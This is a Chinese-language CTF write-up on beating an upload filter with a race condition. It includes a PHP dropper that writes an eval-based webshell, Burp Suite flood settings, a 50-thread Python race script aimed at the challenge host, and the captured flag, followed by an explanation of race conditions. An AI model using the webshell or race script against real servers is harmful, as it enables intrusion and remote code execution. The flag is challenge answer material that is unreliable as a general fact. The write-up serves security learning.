拿到题目一看就是文件上传漏洞,但是这个题目上传php文件以及其他我知道可以执行漏洞的文件都会被瞬间删除。所以我们需要用到条件竞争(进行高频度的上传,并执行文件,以达到服务器来不及删除)
新建一个m.php文件写入代码:
<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>
这个代码是让服务器自己生成一个shell.php文件(自己生成的不会删除)并在shell.php文件中写入后面那一段宝贝(懂得都懂)。
接下来便是用brupsuit疯狂上传文件
brupsuit拦截发给攻击
进行配置有效载荷集设置为:没有负载,有效载荷选项设置为:无期限重复
线程数最好设置在20-40之间,然后直接攻击
接着便是利用大佬的python脚本对上传的m. php文件进行执行,以达到让服务器自己生成shell.php
import requests
import threading
import os
class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = 'http://61.147.171.105:56310/upload/m.php'
self.uploadUrl = 'http://61.147.171.105:56310//upload/shell.php'
def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print('[*] create file shell.php success.')
os._exit(0)
def _upload(self):
print('upload file...')
rs = requests.get(self.uploadUrl)
if rs.status_code == 200:
print('[*] create file shell.php success.')
os._exit(0)
def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get()
if __name__ == '__main__':
threads = 50
for i in range(threads):
t = RaceCondition()
t.start()
for i in range(threads):
t.join()
下面是结果
生成成功后就可以停止brupsuit的上传了
然后用蚁剑进行连接
并且在文件中找到$flag='cyberpeace{523424406f2ca76b0a8db7f4c6af3cbe}'
条件竞争简介
竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,但他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。
线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。
条件竞争漏洞其实也就是当同时并发多个线程去做同一件事,导致处理逻辑的代码出错,出现意想不到的结果。
条件竞争漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。